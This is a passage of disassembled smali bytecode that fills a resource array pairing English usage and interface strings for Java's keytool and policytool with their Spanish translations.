                                                                              1581const-string v3, "\t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]"
                                                                              1582aput-object v3, v2, v4
                                                                              1584const-string v3, "\t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]"
                                                                              1585aput-object v3, v2, v5
                                                                              1586aput-object v2, v0, v1
                                                                              1587const/16 v1, 0xb0
                                                                              1588new-array v2, v6, [Ljava/lang/Object;
                                                                              1590const-string v3, "\t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]"
                                                                              1591aput-object v3, v2, v4
                                                                              1593const-string v3, "\t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]"
                                                                              1594aput-object v3, v2, v5
                                                                              1595aput-object v2, v0, v1
                                                                              1596const/16 v1, 0xb1
                                                                              1597new-array v2, v6, [Ljava/lang/Object;
                                                                              1599const-string v3, "\t [-srcalias <srcalias> [-destalias <destalias>]"
                                                                              1600aput-object v3, v2, v4
                                                                              1602const-string v3, "\t [-srcalias <srcalias> [-destalias <destalias>]"
                                                                              1603aput-object v3, v2, v5
                                                                              1604aput-object v2, v0, v1
                                                                              1605const/16 v1, 0xb2
                                                                              1606new-array v2, v6, [Ljava/lang/Object;
                                                                              1608const-string v3, "\t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]"
                                                                              1609aput-object v3, v2, v4
                                                                              1611const-string v3, "\t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]"
                                                                              1612aput-object v3, v2, v5
                                                                              1613aput-object v2, v0, v1
                                                                              1614const/16 v1, 0xb3
                                                                              1615new-array v2, v6, [Ljava/lang/Object;
                                                                              1617const-string v3, "\t [-noprompt]"
                                                                              1618aput-object v3, v2, v4
                                                                              1620const-string v3, "\t [-noprompt]"
                                                                              1621aput-object v3, v2, v5
                                                                              1622aput-object v2, v0, v1
                                                                              1623const/16 v1, 0xb4
                                                                              1624new-array v2, v6, [Ljava/lang/Object;
                                                                              1626const-string v3, "-changealias [-v] [-protected] -alias <alias> -destalias <destalias>"
                                                                              1627aput-object v3, v2, v4
                                                                              1629const-string v3, "-changealias [-v] [-protected] -alias <alias> -destalias <destalias>"
                                                                              1630aput-object v3, v2, v5
                                                                              1631aput-object v2, v0, v1
                                                                              1632const/16 v1, 0xb5
                                                                              1633new-array v2, v6, [Ljava/lang/Object;
                                                                              1635const-string v3, "\t [-keypass <keypass>]"
                                                                              1636aput-object v3, v2, v4
                                                                              1638const-string v3, "\t [-keypass <contrase\u00f1a_claves>]"
                                                                              1639aput-object v3, v2, v5
                                                                              1640aput-object v2, v0, v1
                                                                              1641const/16 v1, 0xb6
                                                                              1642new-array v2, v6, [Ljava/lang/Object;
                                                                              1644const-string v3, "-keypasswd [-v] [-alias <alias>]"
                                                                              1645aput-object v3, v2, v4
                                                                              1647const-string v3, "-keypasswd [-v] [-alias <alias>]"
                                                                              1648aput-object v3, v2, v5
                                                                              1649aput-object v2, v0, v1
                                                                              1650const/16 v1, 0xb7
                                                                              1651new-array v2, v6, [Ljava/lang/Object;
                                                                              1653const-string v3, "\t [-keypass <old_keypass>] [-new <new_keypass>]"
                                                                              1654aput-object v3, v2, v4
                                                                              1656const-string v3, "\t [-keypass <contrase\u00f1a_clave_antigua>] [-new <nueva_contrase\u00f1a_clave>]"
                                                                              1657aput-object v3, v2, v5
                                                                              1658aput-object v2, v0, v1
                                                                              1659const/16 v1, 0xb8
                                                                              1660new-array v2, v6, [Ljava/lang/Object;
                                                                              1662const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1663aput-object v3, v2, v4
                                                                              1665const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1666aput-object v3, v2, v5
                                                                              1667aput-object v2, v0, v1
                                                                              1668const/16 v1, 0xb9
                                                                              1669new-array v2, v6, [Ljava/lang/Object;
                                                                              1671const-string v3, "\t [-alias <alias>]"
                                                                              1672aput-object v3, v2, v4
                                                                              1674const-string v3, "\t [-alias <alias>]"
                                                                              1675aput-object v3, v2, v5
                                                                              1676aput-object v2, v0, v1
                                                                              1677const/16 v1, 0xba
                                                                              1678new-array v2, v6, [Ljava/lang/Object;
                                                                              1680const-string v3, "-printcert [-v] [-file <cert_file>]"
                                                                              1681aput-object v3, v2, v4
                                                                              1683const-string v3, "-printcert [-v] [-file <archivo_certif>]"
                                                                              1684aput-object v3, v2, v5
                                                                              1685aput-object v2, v0, v1
                                                                              1686const/16 v1, 0xbb
                                                                              1687new-array v2, v6, [Ljava/lang/Object;
                                                                              1689const-string v3, "\t [-alias <alias>]"
                                                                              1690aput-object v3, v2, v4
                                                                              1692const-string v3, "\t [-alias <alias>]"
                                                                              1693aput-object v3, v2, v5
                                                                              1694aput-object v2, v0, v1
                                                                              1695const/16 v1, 0xbc
                                                                              1696new-array v2, v6, [Ljava/lang/Object;
                                                                              1698const-string v3, "-storepasswd [-v] [-new <new_storepass>]"
                                                                              1699aput-object v3, v2, v4
                                                                              1701const-string v3, "-storepasswd [-v] [-new <nueva_contrase\u00f1a_almac\u00e9n>]"
                                                                              1702aput-object v3, v2, v5
                                                                              1703aput-object v2, v0, v1
                                                                              1704const/16 v1, 0xbd
                                                                              1705new-array v2, v6, [Ljava/lang/Object;
                                                                              1707const-string v3, "Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured."
                                                                              1708aput-object v3, v2, v4
                                                                              1710const-string v3, "Advertencia: No hay clave p\u00fablica para el alias {0}. Compruebe que se haya configurado correctamente un almac\u00e9n de claves."
                                                                              1711aput-object v3, v2, v5
                                                                              1712aput-object v2, v0, v1
                                                                              1713const/16 v1, 0xbe
                                                                              1714new-array v2, v6, [Ljava/lang/Object;
                                                                              1716const-string v3, "Warning: Class not found: class"
                                                                              1717aput-object v3, v2, v4
                                                                              1719const-string v3, "Advertencia: No se ha encontrado la clase: {0}"
                                                                              1720aput-object v3, v2, v5
                                                                              1721aput-object v2, v0, v1
                                                                              1722const/16 v1, 0xbf
                                                                              1723new-array v2, v6, [Ljava/lang/Object;
                                                                              1725const-string v3, "Warning: Invalid argument(s) for constructor: arg"
                                                                              1726aput-object v3, v2, v4
                                                                              1728const-string v3, "Advertencia: Argumento(s) no v\u00e1lido(s) para el constructor: {0}"
                                                                              1729aput-object v3, v2, v5
                                                                              1730aput-object v2, v0, v1
                                                                              1731const/16 v1, 0xc0
                                                                              1732new-array v2, v6, [Ljava/lang/Object;
                                                                              1734const-string v3, "Illegal Principal Type: type"
                                                                              1735aput-object v3, v2, v4
                                                                              1737const-string v3, "Tipo de principal no permitido: {0}"
                                                                              1738aput-object v3, v2, v5
                                                                              1739aput-object v2, v0, v1
                                                                              1740const/16 v1, 0xc1
                                                                              1741new-array v2, v6, [Ljava/lang/Object;
                                                                              1743const-string v3, "Illegal option: option"
                                                                              1744aput-object v3, v2, v4
                                                                              1746const-string v3, "Opci\u00f3n no permitida: {0}"
                                                                              1747aput-object v3, v2, v5
                                                                              1748aput-object v2, v0, v1
                                                                              1749const/16 v1, 0xc2
                                                                              1750new-array v2, v6, [Ljava/lang/Object;
                                                                              1752const-string v3, "Usage: policytool [options]"
                                                                              1753aput-object v3, v2, v4
                                                                              1755const-string v3, "Sintaxis: policytool [opciones]"
                                                                              1756aput-object v3, v2, v5
                                                                              1757aput-object v2, v0, v1
                                                                              1758const/16 v1, 0xc3
                                                                              1759new-array v2, v6, [Ljava/lang/Object;
                                                                              1761const-string v3, " [-file <file>] policy file location"
                                                                              1762aput-object v3, v2, v4
                                                                              1764const-string v3, " [-file <archivo>] ubicaci\u00f3n del archivo de normas"
                                                                              1765aput-object v3, v2, v5
                                                                              1766aput-object v2, v0, v1
                                                                              1767const/16 v1, 0xc4
                                                                              1768new-array v2, v6, [Ljava/lang/Object;
                                                                              1770const-string v3, "New"
                                                                              1771aput-object v3, v2, v4
                                                                              1773const-string v3, "Nuevo"
                                                                              1774aput-object v3, v2, v5
                                                                              1775aput-object v2, v0, v1
                                                                              1776const/16 v1, 0xc5
                                                                              1777new-array v2, v6, [Ljava/lang/Object;
                                                                              1779const-string v3, "Open"
                                                                              1780aput-object v3, v2, v4
                                                                              1782const-string v3, "Abrir"
                                                                              1783aput-object v3, v2, v5
                                                                              1784aput-object v2, v0, v1
                                                                              1785const/16 v1, 0xc6
                                                                              1786new-array v2, v6, [Ljava/lang/Object;
                                                                              1788const-string v3, "Save"
                                                                              1789aput-object v3, v2, v4
                                                                              1791const-string v3, "Guardar"
                                                                              1792aput-object v3, v2, v5
                                                                              1793aput-object v2, v0, v1
                                                                              1794const/16 v1, 0xc7
                                                                              1795new-array v2, v6, [Ljava/lang/Object;
                                                                              1797const-string v3, "Save As"
                                                                              1798aput-object v3, v2, v4
                                                                              1800const-string v3, "Guardar como"
                                                                              1801aput-object v3, v2, v5
                                                                              1802aput-object v2, v0, v1
                                                                              1803const/16 v1, 0xc8
                                                                              1804new-array v2, v6, [Ljava/lang/Object;
                                                                              1806const-string v3, "View Warning Log"
                                                                              1807aput-object v3, v2, v4
                                                                              1809const-string v3, "Ver registro de advertencias"
                                                                              1810aput-object v3, v2, v5
                                                                              1811aput-object v2, v0, v1
                                                                              1812const/16 v1, 0xc9
                                                                              1813new-array v2, v6, [Ljava/lang/Object;
                                                                              1815const-string v3, "Exit"
                                                                              1816aput-object v3, v2, v4
                                                                              1818const-string v3, "Salir"
                                                                              1819aput-object v3, v2, v5
                                                                              1820aput-object v2, v0, v1
                                                                              1821const/16 v1, 0xca
                                                                              1822new-array v2, v6, [Ljava/lang/Object;
                                                                              1824const-string v3, "Add Policy Entry"
                                                                              1825aput-object v3, v2, v4
                                                                              1827const-string v3, "Agregar entrada de norma"
                                                                              1828aput-object v3, v2, v5
                                                                              1829aput-object v2, v0, v1
                                                                              1830const/16 v1, 0xcb
                                                                              1831new-array v2, v6, [Ljava/lang/Object;
                                                                              1833const-string v3, "Edit Policy Entry"
                                                                              1834aput-object v3, v2, v4
                                                                              1836const-string v3, "Editar entrada de norma"
                                                                              1837aput-object v3, v2, v5
                                                                              1838aput-object v2, v0, v1
                                                                              1839const/16 v1, 0xcc
                                                                              1840new-array v2, v6, [Ljava/lang/Object;
                                                                              1842const-string v3, "Remove Policy Entry"
                                                                              1843aput-object v3, v2, v4
                                                                              1845const-string v3, "Eliminar entrada de norma"
                                                                              1846aput-object v3, v2, v5
                                                                              1847aput-object v2, v0, v1
                                                                              1848const/16 v1, 0xcd
                                                                              1849new-array v2, v6, [Ljava/lang/Object;
                                                                              1851const-string v3, "Edit"
                                                                              1852aput-object v3, v2, v4
                                                                              1854const-string v3, "Editar"
                                                                              1855aput-object v3, v2, v5
                                                                              1856aput-object v2, v0, v1
                                                                              1857const/16 v1, 0xce
                                                                              1858new-array v2, v6, [Ljava/lang/Object;
                                                                              1860const-string v3, "Retain"
                                                                              1861aput-object v3, v2, v4
                                                                              1863const-string v3, "Mantener"
                                                                              1864aput-object v3, v2, v5
                                                                              1865aput-object v2, v0, v1
                                                                              1866const/16 v1, 0xcf
                                                                              1867new-array v2, v6, [Ljava/lang/Object;
                                                                              1869const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1870aput-object v3, v2, v4
                                                                              1872const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1873aput-object v3, v2, v5
                                                                              1874aput-object v2, v0, v1
                                                                              1875const/16 v1, 0xd0
                                                                              1876new-array v2, v6, [Ljava/lang/Object;
                                                                              1878const-string v3, "Add Public Key Alias"
                                                                              1879aput-object v3, v2, v4
                                                                              1881const-string v3, "Agregar alias de clave p\u00fablico"
                                                                              1882aput-object v3, v2, v5
                                                                              1883aput-object v2, v0, v1
                                                                              1884const/16 v1, 0xd1
                                                                              1885new-array v2, v6, [Ljava/lang/Object;
                                                                              1887const-string v3, "Remove Public Key Alias"
                                                                              1888aput-object v3, v2, v4
                                                                              1890const-string v3, "Eliminar alias de clave p\u00fablico"
                                                                              1891aput-object v3, v2, v5
                                                                              1892aput-object v2, v0, v1
                                                                              1893const/16 v1, 0xd2
                                                                              1894new-array v2, v6, [Ljava/lang/Object;
                                                                              1896const-string v3, "File"
                                                                              1897aput-object v3, v2, v4
                                                                              1899const-string v3, "Archivo"
                                                                              1900aput-object v3, v2, v5
                                                                              1901aput-object v2, v0, v1
                                                                              1902const/16 v1, 0xd3
                                                                              1903new-array v2, v6, [Ljava/lang/Object;
                                                                              1905const-string v3, "KeyStore"
                                                                              1906aput-object v3, v2, v4
                                                                              1908const-string v3, "Almac\u00e9n de claves"
                                                                              1909aput-object v3, v2, v5
                                                                              1910aput-object v2, v0, v1
                                                                              1911const/16 v1, 0xd4
                                                                              1912new-array v2, v6, [Ljava/lang/Object;
                                                                              1914const-string v3, "Policy File:"
                                                                              1915aput-object v3, v2, v4
                                                                              1917const-string v3, "Archivo de normas:"
                                                                              1918aput-object v3, v2, v5
                                                                              1919aput-object v2, v0, v1
                                                                              1920const/16 v1, 0xd5
                                                                              1921new-array v2, v6, [Ljava/lang/Object;
                                                                              1923const-string v3, "Could not open policy file: policyFile: e.toString()"
                                                                              1924aput-object v3, v2, v4
                                                                              1926const-string v3, "No se ha podido abrir el archivo java.policy: {0}: {1}"
                                                                              1927aput-object v3, v2, v5
                                                                              1928aput-object v2, v0, v1
                                                                              1929const/16 v1, 0xd6
                                                                              1930new-array v2, v6, [Ljava/lang/Object;
                                                                              1932const-string v3, "Policy Tool"
                                                                              1933aput-object v3, v2, v4
                                                                              1935const-string v3, "Herramienta de normas"
                                                                              1936aput-object v3, v2, v5
                                                                              1937aput-object v2, v0, v1
                                                                              1938const/16 v1, 0xd7
                                                                              1939new-array v2, v6, [Ljava/lang/Object;
                                                                              1941const-string v3, "Errors have occurred while opening the policy configuration. View the Warning Log for more information."
                                                                              1942aput-object v3, v2, v4
                                                                              1944const-string v3, "Ha habido errores al abrir la configuraci\u00f3n de normas. V\u00e9ase el registro de advertencias para obtener m\u00e1s informaci\u00f3n."
                                                                              1945aput-object v3, v2, v5
                                                                              1946aput-object v2, v0, v1
                                                                              1947const/16 v1, 0xd8
                                                                              1948new-array v2, v6, [Ljava/lang/Object;
                                                                              1950const-string v3, "Error"
                                                                              1951aput-object v3, v2, v4
                                                                              1953const-string v3, "Error"
                                                                              1954aput-object v3, v2, v5
                                                                              1955aput-object v2, v0, v1
                                                                              1956const/16 v1, 0xd9
                                                                              1957new-array v2, v6, [Ljava/lang/Object;
                                                                              1959const-string v3, "OK"
                                                                              1960aput-object v3, v2, v4
                                                                              1962const-string v3, "Aceptar"
                                                                              1963aput-object v3, v2, v5
                                                                              1964aput-object v2, v0, v1
                                                                              1965const/16 v1, 0xda
                                                                              1966new-array v2, v6, [Ljava/lang/Object;
                                                                              1968const-string v3, "Status"
                                                                              1969aput-object v3, v2, v4
                                                                              1971const-string v3, "Estado"
                                                                              1972aput-object v3, v2, v5
                                                                              1973aput-object v2, v0, v1
                                                                              1974const/16 v1, 0xdb
                                                                              1975new-array v2, v6, [Ljava/lang/Object;
                                                                              1977const-string v3, "Warning"
                                                                              1978aput-object v3, v2, v4
                                                                              1980const-string v3, "Advertencia"
                                                                              1981aput-object v3, v2, v5
                                                                              1982aput-object v2, v0, v1
                                                                              1983const/16 v1, 0xdc
                                                                              1984new-array v2, v6, [Ljava/lang/Object;
                                                                              1986const-string v3, "Permission: "
                                                                              1987aput-object v3, v2, v4
                                                                              1989const-string v3, "Permiso: "
                                                                              1990aput-object v3, v2, v5
                                                                              1991aput-object v2, v0, v1
                                                                              1992const/16 v1, 0xdd
                                                                              1993new-array v2, v6, [Ljava/lang/Object;
                                                                              1995const-string v3, "Principal Type:"
                                                                              1996aput-object v3, v2, v4
                                                                              1998const-string v3, "Tipo de principal:"
                                                                              1999aput-object v3, v2, v5
                                                                              2000aput-object v2, v0, v1
                                                                              2001const/16 v1, 0xde
                                                                              2002new-array v2, v6, [Ljava/lang/Object;
                                                                              2004const-string v3, "Principal Name:"
                                                                              2005aput-object v3, v2, v4
                                                                              2007const-string v3, "Nombre de principal:"
                                                                              2008aput-object v3, v2, v5
                                                                              2009aput-object v2, v0, v1
                                                                              2010const/16 v1, 0xdf
                                                                              2011new-array v2, v6, [Ljava/lang/Object;
                                                                              2013const-string v3, "Target Name: "
                                                                              2014aput-object v3, v2, v4
                                                                              2016const-string v3, "Nombre de destino: "
                                                                              2017aput-object v3, v2, v5
                                                                              2018aput-object v2, v0, v1
                                                                              2019const/16 v1, 0xe0
                                                                              2020new-array v2, v6, [Ljava/lang/Object;
                                                                              2022const-string v3, "Actions: "
                                                                              2023aput-object v3, v2, v4
                                                                              2025const-string v3, "Acciones: "
                                                                              2026aput-object v3, v2, v5
                                                                              2027aput-object v2, v0, v1
                                                                              2028const/16 v1, 0xe1
                                                                              2029new-array v2, v6, [Ljava/lang/Object;
                                                                              2031const-string v3, "OK to overwrite existing file filename?"
                                                                              2032aput-object v3, v2, v4
                                                                              2034const-string v3, "\u00bfSobrescribir el archivo existente {0}?"
                                                                              2035aput-object v3, v2, v5
                                                                              2036aput-object v2, v0, v1
                                                                              2037const/16 v1, 0xe2
                                                                              2038new-array v2, v6, [Ljava/lang/Object;
                                                                              2040const-string v3, "Cancel"
                                                                              2041aput-object v3, v2, v4
                                                                              2043const-string v3, "Cancelar"
                                                                              2044aput-object v3, v2, v5
                                                                              2045aput-object v2, v0, v1
                                                                              2046const/16 v1, 0xe3
                                                                              2047new-array v2, v6, [Ljava/lang/Object;
                                                                              2049const-string v3, "CodeBase:"
                                                                              2050aput-object v3, v2, v4
                                                                              2052const-string v3, "Base de c\u00f3digos:"
                                                                              2053aput-object v3, v2, v5
                                                                              2054aput-object v2, v0, v1
                                                                              2055const/16 v1, 0xe4
                                                                              2056new-array v2, v6, [Ljava/lang/Object;
                                                                              2058const-string v3, "SignedBy:"
                                                                              2059aput-object v3, v2, v4
                                                                              2061const-string v3, "Firmado por:"
                                                                              2062aput-object v3, v2, v5
                                                                              2063aput-object v2, v0, v1
                                                                              2064const/16 v1, 0xe5
                                                                              2065new-array v2, v6, [Ljava/lang/Object;
                                                                              2067const-string v3, "Add Principal"
                                                                              2068aput-object v3, v2, v4
                                                                              2070const-string v3, "Agregar principal"
                                                                              2071aput-object v3, v2, v5
                                                                              2072aput-object v2, v0, v1
                                                                              2073const/16 v1, 0xe6
                                                                              2074new-array v2, v6, [Ljava/lang/Object;
                                                                              2076const-string v3, "Edit Principal"
                                                                              2077aput-object v3, v2, v4
                                                                              2079const-string v3, "Editar principal"
                                                                              2080aput-object v3, v2, v5
                                                                              2081aput-object v2, v0, v1
                                                                              2082const/16 v1, 0xe7
                                                                              2083new-array v2, v6, [Ljava/lang/Object;
                                                                              2085const-string v3, "Remove Principal"
                                                                              2086aput-object v3, v2, v4
                                                                              2088const-string v3, "Eliminar principal"
                                                                              2089aput-object v3, v2, v5
                                                                              2090aput-object v2, v0, v1
                                                                              2091const/16 v1, 0xe8
                                                                              2092new-array v2, v6, [Ljava/lang/Object;
                                                                              2094const-string v3, "Principals:"
                                                                              2095aput-object v3, v2, v4
                                                                              2097const-string v3, "Principales:"
                                                                              2098aput-object v3, v2, v5
                                                                              2099aput-object v2, v0, v1
                                                                              2100const/16 v1, 0xe9
                                                                              2101new-array v2, v6, [Ljava/lang/Object;
                                                                              2103const-string v3, " Add Permission"
                                                                              2104aput-object v3, v2, v4
                                                                              2106const-string v3, " Agregar permiso"
                                                                              2107aput-object v3, v2, v5
                                                                              2108aput-object v2, v0, v1
                                                                              2109const/16 v1, 0xea
                                                                              2110new-array v2, v6, [Ljava/lang/Object;
                                                                              2112const-string v3, " Edit Permission"
                                                                              2113aput-object v3, v2, v4
                                                                              2115const-string v3, " Editar permiso"
                                                                              2116aput-object v3, v2, v5
                                                                              2117aput-object v2, v0, v1
                                                                              2118const/16 v1, 0xeb
                                                                              2119new-array v2, v6, [Ljava/lang/Object;
                                                                              2121const-string v3, "Remove Permission"
                                                                              2122aput-object v3, v2, v4
                                                                              2124const-string v3, "Eliminar permiso"
                                                                              2125aput-object v3, v2, v5
                                                                              2126aput-object v2, v0, v1
                                                                              2127const/16 v1, 0xec
                                                                              2128new-array v2, v6, [Ljava/lang/Object;
                                                                              2130const-string v3, "Done"
                                                                              2131aput-object v3, v2, v4
                                                                              2133const-string v3, "Terminar"
                                                                              2134aput-object v3, v2, v5
                                                                              2135aput-object v2, v0, v1
                                                                              2136const/16 v1, 0xed
                                                                              2137new-array v2, v6, [Ljava/lang/Object;
                                                                              2139const-string v3, "KeyStore URL:"
                                                                              2140aput-object v3, v2, v4
                                                                              2142const-string v3, "URL de almac\u00e9n de claves:"
                                                                              2143aput-object v3, v2, v5
                                                                              2144aput-object v2, v0, v1
                                                                              2145const/16 v1, 0xee
                                                                              2146new-array v2, v6, [Ljava/lang/Object;
                                                                              2148const-string v3, "KeyStore Type:"
                                                                              2149aput-object v3, v2, v4
                                                                              2151const-string v3, "Tipo de almac\u00e9n de claves:"
                                                                              2152aput-object v3, v2, v5
                                                                              2153aput-object v2, v0, v1
                                                                              2154const/16 v1, 0xef
                                                                              2155new-array v2, v6, [Ljava/lang/Object;
                                                                              2157const-string v3, "KeyStore Provider:"
                                                                              2158aput-object v3, v2, v4
                                                                              2160const-string v3, "Proveedor de almac\u00e9n de claves:"
                                                                              2161aput-object v3, v2, v5
                                                                              2162aput-object v2, v0, v1
                                                                              2163const/16 v1, 0xf0
                                                                              2164new-array v2, v6, [Ljava/lang/Object;
                                                                              2166const-string v3, "KeyStore Password URL:"
                                                                              2167aput-object v3, v2, v4
                                                                              2169const-string v3, "URL de contrase\u00f1a de almac\u00e9n de claves:"
                                                                              2170aput-object v3, v2, v5
                                                                              2171aput-object v2, v0, v1
                                                                              2172const/16 v1, 0xf1
                                                                              2173new-array v2, v6, [Ljava/lang/Object;
                                                                              2175const-string v3, "Principals"
                                                                              2176aput-object v3, v2, v4
                                                                              2178const-string v3, "Principales"
                                                                              2179aput-object v3, v2, v5
                                                                              2180aput-object v2, v0, v1
                                                                              2181const/16 v1, 0xf2
                                                                              2182new-array v2, v6, [Ljava/lang/Object;
                                                                              2184const-string v3, " Edit Principal:"
                                                                              2185aput-object v3, v2, v4
                                                                              2187const-string v3, " Editar principal:"
                                                                              2188aput-object v3, v2, v5
                                                                              2189aput-object v2, v0, v1
                                                                              2190const/16 v1, 0xf3
                                                                              2191new-array v2, v6, [Ljava/lang/Object;
                                                                              2193const-string v3, " Add New Principal:"
                                                                              2194aput-object v3, v2, v4
                                                                              2196const-string v3, " Agregar nuevo principal:"
                                                                              2197aput-object v3, v2, v5
                                                                              2198aput-object v2, v0, v1
                                                                              2199const/16 v1, 0xf4
                                                                              2200new-array v2, v6, [Ljava/lang/Object;
                                                                              2202const-string v3, "Permissions"
                                                                              2203aput-object v3, v2, v4
                                                                              2205const-string v3, "Permisos"
                                                                              2206aput-object v3, v2, v5
                                                                              2207aput-object v2, v0, v1
                                                                              2208const/16 v1, 0xf5
                                                                              2209new-array v2, v6, [Ljava/lang/Object;
                                                                              2211const-string v3, " Edit Permission:"
                                                                              2212aput-object v3, v2, v4
                                                                              2214const-string v3, " Editar permiso:"
                                                                              2215aput-object v3, v2, v5
                                                                              2216aput-object v2, v0, v1
                                                                              2217const/16 v1, 0xf6
                                                                              2218new-array v2, v6, [Ljava/lang/Object;
                                                                              2220const-string v3, " Add New Permission:"
                                                                              2221aput-object v3, v2, v4
                                                                              2223const-string v3, " Agregar permiso nuevo:"
                                                                              2224aput-object v3, v2, v5
                                                                              2225aput-object v2, v0, v1
                                                                              2226const/16 v1, 0xf7
                                                                              2227new-array v2, v6, [Ljava/lang/Object;
                                                                              2229const-string v3, "Signed By:"
                                                                              2230aput-object v3, v2, v4
                                                                              2232const-string v3, "Firmado por:"
                                                                              2233aput-object v3, v2, v5
                                                                              2234aput-object v2, v0, v1
                                                                              2235const/16 v1, 0xf8
                                                                              2236new-array v2, v6, [Ljava/lang/Object;
                                                                              2238const-string v3, "Cannot Specify Principal with a Wildcard Class without a Wildcard Name"
                                                                              2239aput-object v3, v2, v4
                                                                              2241const-string v3, "No se puede especificar principal con una clase de comod\u00edn sin un nombre de comod\u00edn"
                                                                              2242aput-object v3, v2, v5
                                                                              2243aput-object v2, v0, v1
                                                                              2244const/16 v1, 0xf9
                                                                              2245new-array v2, v6, [Ljava/lang/Object;
                                                                              2247const-string v3, "Cannot Specify Principal without a Name"
                                                                              2248aput-object v3, v2, v4
                                                                              2250const-string v3, "No se puede especificar principal sin un nombre"
                                                                              2251aput-object v3, v2, v5
                                                                              2252aput-object v2, v0, v1
                                                                              2253const/16 v1, 0xfa
                                                                              2254new-array v2, v6, [Ljava/lang/Object;
                                                                              2256const-string v3, "Permission and Target Name must have a value"
                                                                              2257aput-object v3, v2, v4
                                                                              2259const-string v3, "Permiso y Nombre de destino deben tener un valor"
                                                                              2260aput-object v3, v2, v5
                                                                              2261aput-object v2, v0, v1
                                                                              2262const/16 v1, 0xfb
                                                                              2263new-array v2, v6, [Ljava/lang/Object;
                                                                              2265const-string v3, "Remove this Policy Entry?"
                                                                              2266aput-object v3, v2, v4
                                                                              2268const-string v3, "\u00bfEliminar esta entrada de norma?"
                                                                              2269aput-object v3, v2, v5
                                                                              2270aput-object v2, v0, v1
                                                                              2271const/16 v1, 0xfc
                                                                              2272new-array v2, v6, [Ljava/lang/Object;
                                                                              2274const-string v3, "Overwrite File"
                                                                              2275aput-object v3, v2, v4
                                                                              2277const-string v3, "Sobrescribir archivo"
                                                                              2278aput-object v3, v2, v5
                                                                              2279aput-object v2, v0, v1
                                                                              2280const/16 v1, 0xfd
                                                                              2281new-array v2, v6, [Ljava/lang/Object;
                                                                              2283const-string v3, "Policy successfully written to filename"
                                                                              2284aput-object v3, v2, v4
                                                                              2286const-string v3, "Norma escrita satisfactoriamente en {0}"
                                                                              2287aput-object v3, v2, v5
                                                                              2288aput-object v2, v0, v1
                                                                              2289const/16 v1, 0xfe
                                                                              2290new-array v2, v6, [Ljava/lang/Object;
                                                                              2292const-string v3, "null filename"
                                                                              2293aput-object v3, v2, v4
                                                                              2295const-string v3, "nombre de archivo nulo"
                                                                              2296aput-object v3, v2, v5
                                                                              2297aput-object v2, v0, v1
                                                                              2298const/16 v1, 0xff
                                                                              2299new-array v2, v6, [Ljava/lang/Object;
                                                                              2301const-string v3, "Save changes?"
                                                                              2302aput-object v3, v2, v4
                                                                              2304const-string v3, "\u00bfGuardar los cambios?"
                                                                              2305aput-object v3, v2, v5
                                                                              2306aput-object v2, v0, v1
                                                                              2307const/16 v1, 0x100
                                                                              2308new-array v2, v6, [Ljava/lang/Object;
                                                                              2310const-string v3, "Yes"
                                                                              2311aput-object v3, v2, v4
                                                                              2313const-string v3, "S\u00ed"
                                                                              2314aput-object v3, v2, v5
                                                                              2315aput-object v2, v0, v1
                                                                              2316const/16 v1, 0x101
                                                                              2317new-array v2, v6, [Ljava/lang/Object;
                                                                              2319const-string v3, "No"
                                                                              2320aput-object v3, v2, v4
                                                                              2322const-string v3, "No"
                                                                              2323aput-object v3, v2, v5
                                                                              2324aput-object v2, v0, v1
                                                                              2325const/16 v1, 0x102
                                                                              2326new-array v2, v6, [Ljava/lang/Object;
                                                                              2328const-string v3, "Policy Entry"
                                                                              2329aput-object v3, v2, v4
                                                                              2331const-string v3, "Entrada de norma"
                                                                              2332aput-object v3, v2, v5
                                                                              2333aput-object v2, v0, v1
                                                                              2334const/16 v1, 0x103
                                                                              2335new-array v2, v6, [Ljava/lang/Object;
                                                                              2337const-string v3, "Save Changes"
                                                                              2338aput-object v3, v2, v4
                                                                              2340const-string v3, "Guardar cambios"
                                                                              2341aput-object v3, v2, v5
                                                                              2342aput-object v2, v0, v1
                                                                              2343const/16 v1, 0x104
                                                                              2344new-array v2, v6, [Ljava/lang/Object;
                                                                              2346const-string v3, "No Policy Entry selected"
                                                                              2347aput-object v3, v2, v4
                                                                              2349const-string v3, "No se ha seleccionado entrada de norma"
                                                                              2350aput-object v3, v2, v5
                                                                              2351aput-object v2, v0, v1
                                                                              2352const/16 v1, 0x105
                                                                              2353new-array v2, v6, [Ljava/lang/Object;
                                                                              2355const-string v3, "Unable to open KeyStore: ex.toString()"
                                                                              2356aput-object v3, v2, v4
                                                                              2358const-string v3, "No se puede abrir el almac\u00e9n de claves: {0}"
                                                                              2359aput-object v3, v2, v5
                                                                              2360aput-object v2, v0, v1
                                                                              2361const/16 v1, 0x106
                                                                              2362new-array v2, v6, [Ljava/lang/Object;
                                                                              2364const-string v3, "No principal selected"
                                                                              2365aput-object v3, v2, v4
                                                                              2367const-string v3, "No se ha seleccionado principal"
                                                                              2368aput-object v3, v2, v5
                                                                              2369aput-object v2, v0, v1
                                                                              2370const/16 v1, 0x107
                                                                              2371new-array v2, v6, [Ljava/lang/Object;
                                                                              2373const-string v3, "No permission selected"
                                                                              2374aput-object v3, v2, v4
                                                                              2376const-string v3, "No se ha seleccionado un permiso"
                                                                              2377aput-object v3, v2, v5
                                                                              2378aput-object v2, v0, v1
                                                                              2379const/16 v1, 0x108
                                                                              2380new-array v2, v6, [Ljava/lang/Object;
                                                                              2382const-string v3, "name"
                                                                              2383aput-object v3, v2, v4
                                                                              2385const-string v3, "nombre"
                                                                              2386aput-object v3, v2, v5
                                                                              2387aput-object v2, v0, v1
                                                                              2388const/16 v1, 0x109
                                                                              2389new-array v2, v6, [Ljava/lang/Object;
                                                                              2391const-string v3, "configuration type"
                                                                              2392aput-object v3, v2, v4
